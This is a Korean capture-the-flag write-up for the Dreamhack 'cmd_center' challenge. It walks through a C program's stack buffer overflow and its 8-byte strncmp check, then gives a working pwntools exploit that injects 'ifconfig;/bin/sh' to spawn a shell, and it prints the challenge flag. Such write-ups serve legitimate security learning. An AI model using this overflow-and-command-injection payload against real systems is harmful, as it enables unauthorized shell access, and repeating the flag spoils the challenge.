dreamhack - cmd_center writeup
[dreamhack] cmd_center writeup
1. 문제

cmd_center
IP를 확인할 필요가 없습니다! 혹시 다른 명령어는 못쓰나요?
다른 명령어를 사용했다면 플래그를 획득하세요!
2. 풀이
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main()
{
char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}
center_name
변수에 입력을 받아서 이를 cmd_ip
변수에 들어가있는 문자열 ifconfig
와 비교한다.
만약 같으면, system
함수를 이용해서 cmd_ip
변수에 있는 명령어를 실행하게 된다.
처음 보면 cmd_ip
변수에 ifconfig
가 잘 들어가있는지 검사를 제대로 하는 것처럼 보이기 때문에 이를 덮어쓰면 안될 것 같은 느낌이다.
하지만 strncmp
함수를 통해 처음 8바이트만 검사하기 때문에 그 뒤에 어떤 명령어를 넣던지 상관이 없다.
bash
에서는 한 줄안에 여러 명령어를 수행하는 것을 아래와 같이 지원한다.
id;ifconfig;
위 명령어를 bash
에서 실행하면 id
명령어와 ifconfig
명령어 모두 차례로 실행된다.
이를 이용하여 ifconfig
는 정상적으로 덮어주되, 그뒤에 명령어를 ;/bin/sh
와 같이 추가하면 쉘을 딸 수 있다.
그러면 얼마나 덮어야하는지 gdb
를 보고 확인해보자.
read
함수 직전에 [rbp-0x130]
이 존재하여 center_name
을 입력받음을 볼 수 있고,
strncmp
함수 바로 직전을 보면 [rbp-0x110]
과 비교를 하는 것을 볼 수 있다.
따라서 0x20
만큼 dummy로 덮고, 이후에 ifconfig;/bin/sh
를 덮어주면 해결할 수 있다.
최종 payload와 결과는 아래와 같다.
from pwn import *
#p = process("./cmd_center")
p = remote("host3.dreamhack.games", 8208)
print(p.recvuntil("Center name: "))
payload = b''
payload += b'a' * 32
payload += b'ifconfig;/bin/sh'
p.send(payload)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level1/cmd_center$ python3 e_cmd_center.py
[+] Opening connection to host3.dreamhack.games on port 8208: Done
/home/ubuntu/dreamhack/level1/cmd_center/e_cmd_center.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
print(p.recvuntil("Center name: "))
b'Center name: '
[*] Switching to interactive mode
$ cat flag
DH{f4c11bf9ea5a1df24175ee4d11da0d16}
해결~